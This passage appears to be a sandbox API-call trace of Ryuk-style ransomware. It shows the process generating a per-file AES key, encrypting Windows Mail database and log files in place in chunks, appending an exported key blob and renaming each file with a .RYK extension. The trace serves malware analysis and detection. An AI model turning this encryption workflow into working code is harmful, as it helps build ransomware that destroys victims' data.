	[0237.192] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2713
	os_tid = 0x2fe8

	[0237.194] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log", dwFileAttributes=0x80) returned 0
	[0237.194] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.194] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.194] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\edb00001.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2714
	os_tid = 0x2fec

	[0237.196] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore", dwFileAttributes=0x80) returned 0
	[0237.196] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.196] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2715
	os_tid = 0x2ff0

	[0237.198] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat", dwFileAttributes=0x80) returned 0
	[0237.198] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.198] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.198] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.pat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2716
	os_tid = 0x2ff4

	[0237.199] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk", dwFileAttributes=0x80) returned 1
	[0237.201] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0237.201] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x93cfc98 | out: lpFileSize=0x93cfc98*=8192) returned 1
	[0237.201] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x93cfca8 | out: lpFileSize=0x93cfca8*=8192) returned 1
	[0237.201] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x1ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0237.201] ReadFile (in: hFile=0x7f0, lpBuffer=0x93cfcf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93cfc60, lpOverlapped=0x0 | out: lpBuffer=0x93cfcf0*, lpNumberOfBytesRead=0x93cfc60*=0x19, lpOverlapped=0x0) returned 1
	[0237.385] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.386] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x93cfc78 | out: phKey=0x93cfc78*=0x2b8ea0) returned 1
	[0237.386] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.386] ReadFile (in: hFile=0x7f0, lpBuffer=0x3390000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x93cfc84, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesRead=0x93cfc84*=0x2000, lpOverlapped=0x0) returned 1
	[0237.460] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x93cfc80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x93cfc80*=0xf4250) returned 1
	[0237.460] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3390000*, pdwDataLen=0x93cfc88*=0x2000, dwBufLen=0xf4250 | out: pbData=0x3390000*, pdwDataLen=0x93cfc88*=0x2010) returned 1
	[0237.461] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.461] WriteFile (in: hFile=0x7f0, lpBuffer=0x3390000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x93cfc84, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesWritten=0x93cfc84*=0x2010, lpOverlapped=0x0) returned 1
	[0237.465] WriteFile (in: hFile=0x7f0, lpBuffer=0x93cfcb0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x93cfc90, lpOverlapped=0x0 | out: lpBuffer=0x93cfcb0*, lpNumberOfBytesWritten=0x93cfc90*=0x6, lpOverlapped=0x0) returned 1
	[0237.465] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x93cfca0 | out: pbData=0x0*, pdwDataLen=0x93cfca0*=0x10c) returned 1
	[0237.465] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x93cfd10, pdwDataLen=0x93cfca0 | out: pbData=0x93cfd10*, pdwDataLen=0x93cfca0*=0x10c) returned 1
	[0237.465] WriteFile (in: hFile=0x7f0, lpBuffer=0x93cfd10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x93cfc90, lpOverlapped=0x0 | out: lpBuffer=0x93cfd10*, lpNumberOfBytesWritten=0x93cfc90*=0x10c, lpOverlapped=0x0) returned 1
	[0237.465] CloseHandle (hObject=0x7f0) returned 1
	[0237.479] CryptDestroyKey (hKey=0x2b8ea0) returned 1
	[0237.479] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2728
	os_tid = 0x25a8

	[0237.204] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log", dwFileAttributes=0x80) returned 1
	[0237.205] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f4
	[0237.205] GetFileSizeEx (in: hFile=0x7f4, lpFileSize=0x9b3fb98 | out: lpFileSize=0x9b3fb98*=2097152) returned 1
	[0237.206] GetFileSizeEx (in: hFile=0x7f4, lpFileSize=0x9b3fba8 | out: lpFileSize=0x9b3fba8*=2097152) returned 1
	[0237.206] SetFilePointerEx (in: hFile=0x7f4, liDistanceToMove=0x1ffede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0237.206] ReadFile (in: hFile=0x7f4, lpBuffer=0x9b3fbf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9b3fb60, lpOverlapped=0x0 | out: lpBuffer=0x9b3fbf0*, lpNumberOfBytesRead=0x9b3fb60*=0x19, lpOverlapped=0x0) returned 1
	[0237.387] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.387] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x9b3fb78 | out: phKey=0x9b3fb78*=0x2b8d50) returned 1
	[0237.387] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.388] ReadFile (in: hFile=0x7f4, lpBuffer=0x3490000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x9b3fb84, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesRead=0x9b3fb84*=0xf4240, lpOverlapped=0x0) returned 1
	[0238.122] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9b3fb80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9b3fb80*=0xf4240) returned 1
	[0238.122] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3490000*, pdwDataLen=0x9b3fb88*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3490000*, pdwDataLen=0x9b3fb88*=0xf4240) returned 1
	[0238.130] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0238.130] WriteFile (in: hFile=0x7f4, lpBuffer=0x3490000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x9b3fb84, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesWritten=0x9b3fb84*=0xf4240, lpOverlapped=0x0) returned 1
	[0243.176] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0243.176] ReadFile (in: hFile=0x7f4, lpBuffer=0x3490000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x9b3fb84, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesRead=0x9b3fb84*=0xf4240, lpOverlapped=0x0) returned 1
	[0244.803] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9b3fb80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9b3fb80*=0xf4240) returned 1
	[0244.803] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3490000*, pdwDataLen=0x9b3fb88*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3490000*, pdwDataLen=0x9b3fb88*=0xf4240) returned 1
	[0244.811] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0244.811] WriteFile (in: hFile=0x7f4, lpBuffer=0x3490000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x9b3fb84, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesWritten=0x9b3fb84*=0xf4240, lpOverlapped=0x0) returned 1
	[0244.821] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0244.821] ReadFile (in: hFile=0x7f4, lpBuffer=0x3490000, nNumberOfBytesToRead=0x17b80, lpNumberOfBytesRead=0x9b3fb84, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesRead=0x9b3fb84*=0x17b80, lpOverlapped=0x0) returned 1
	[0245.233] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9b3fb80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9b3fb80*=0xf4250) returned 1
	[0245.233] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3490000*, pdwDataLen=0x9b3fb88*=0x17b80, dwBufLen=0xf4250 | out: pbData=0x3490000*, pdwDataLen=0x9b3fb88*=0x17b90) returned 1
	[0245.234] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0245.234] WriteFile (in: hFile=0x7f4, lpBuffer=0x3490000*, nNumberOfBytesToWrite=0x17b90, lpNumberOfBytesWritten=0x9b3fb84, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesWritten=0x9b3fb84*=0x17b90, lpOverlapped=0x0) returned 1
	[0245.319] WriteFile (in: hFile=0x7f4, lpBuffer=0x9b3fbb0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9b3fb90, lpOverlapped=0x0 | out: lpBuffer=0x9b3fbb0*, lpNumberOfBytesWritten=0x9b3fb90*=0x6, lpOverlapped=0x0) returned 1
	[0245.319] CryptExportKey (in: hKey=0x2b8d50, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9b3fba0 | out: pbData=0x0*, pdwDataLen=0x9b3fba0*=0x10c) returned 1
	[0245.320] CryptExportKey (in: hKey=0x2b8d50, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x9b3fc10, pdwDataLen=0x9b3fba0 | out: pbData=0x9b3fc10*, pdwDataLen=0x9b3fba0*=0x10c) returned 1
	[0245.320] WriteFile (in: hFile=0x7f4, lpBuffer=0x9b3fc10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9b3fb90, lpOverlapped=0x0 | out: lpBuffer=0x9b3fc10*, lpNumberOfBytesWritten=0x9b3fb90*=0x10c, lpOverlapped=0x0) returned 1
	[0245.320] CloseHandle (hObject=0x7f4) returned 1
	[0249.748] CryptDestroyKey (hKey=0x2b8d50) returned 1
	[0249.749] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2729
	os_tid = 0x29bc

	[0237.209] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log", dwFileAttributes=0x80) returned 1
	[0237.209] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8
	[0237.210] GetFileSizeEx (in: hFile=0x7f8, lpFileSize=0x8ddfd38 | out: lpFileSize=0x8ddfd38*=2097152) returned 1
	[0237.210] GetFileSizeEx (in: hFile=0x7f8, lpFileSize=0x8ddfd48 | out: lpFileSize=0x8ddfd48*=2097152) returned 1
	[0237.210] SetFilePointerEx (in: hFile=0x7f8, liDistanceToMove=0x1ffede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0237.210] ReadFile (in: hFile=0x7f8, lpBuffer=0x8ddfd90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8ddfd00, lpOverlapped=0x0 | out: lpBuffer=0x8ddfd90*, lpNumberOfBytesRead=0x8ddfd00*=0x19, lpOverlapped=0x0) returned 1
	[0237.406] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.406] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8ddfd18 | out: phKey=0x8ddfd18*=0x2b9370) returned 1
	[0237.406] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.407] ReadFile (in: hFile=0x7f8, lpBuffer=0x3590000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x8ddfd24, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesRead=0x8ddfd24*=0xf4240, lpOverlapped=0x0) returned 1
	[0237.758] CryptEncrypt (in: hKey=0x2b9370, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8ddfd20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8ddfd20*=0xf4240) returned 1
	[0237.758] CryptEncrypt (in: hKey=0x2b9370, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3590000*, pdwDataLen=0x8ddfd28*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3590000*, pdwDataLen=0x8ddfd28*=0xf4240) returned 1
	[0237.765] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.766] WriteFile (in: hFile=0x7f8, lpBuffer=0x3590000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x8ddfd24, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesWritten=0x8ddfd24*=0xf4240, lpOverlapped=0x0) returned 1
	[0238.426] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0238.427] ReadFile (in: hFile=0x7f8, lpBuffer=0x3590000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x8ddfd24, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesRead=0x8ddfd24*=0xf4240, lpOverlapped=0x0) returned 1
	[0244.762] CryptEncrypt (in: hKey=0x2b9370, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8ddfd20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8ddfd20*=0xf4240) returned 1
	[0244.762] CryptEncrypt (in: hKey=0x2b9370, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3590000*, pdwDataLen=0x8ddfd28*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3590000*, pdwDataLen=0x8ddfd28*=0xf4240) returned 1
	[0244.771] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0244.771] WriteFile (in: hFile=0x7f8, lpBuffer=0x3590000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x8ddfd24, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesWritten=0x8ddfd24*=0xf4240, lpOverlapped=0x0) returned 1
	[0244.782] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0244.782] ReadFile (in: hFile=0x7f8, lpBuffer=0x3590000, nNumberOfBytesToRead=0x17b80, lpNumberOfBytesRead=0x8ddfd24, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesRead=0x8ddfd24*=0x17b80, lpOverlapped=0x0) returned 1
	[0244.879] CryptEncrypt (in: hKey=0x2b9370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8ddfd20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8ddfd20*=0xf4250) returned 1
	[0244.880] CryptEncrypt (in: hKey=0x2b9370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3590000*, pdwDataLen=0x8ddfd28*=0x17b80, dwBufLen=0xf4250 | out: pbData=0x3590000*, pdwDataLen=0x8ddfd28*=0x17b90) returned 1
	[0244.880] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
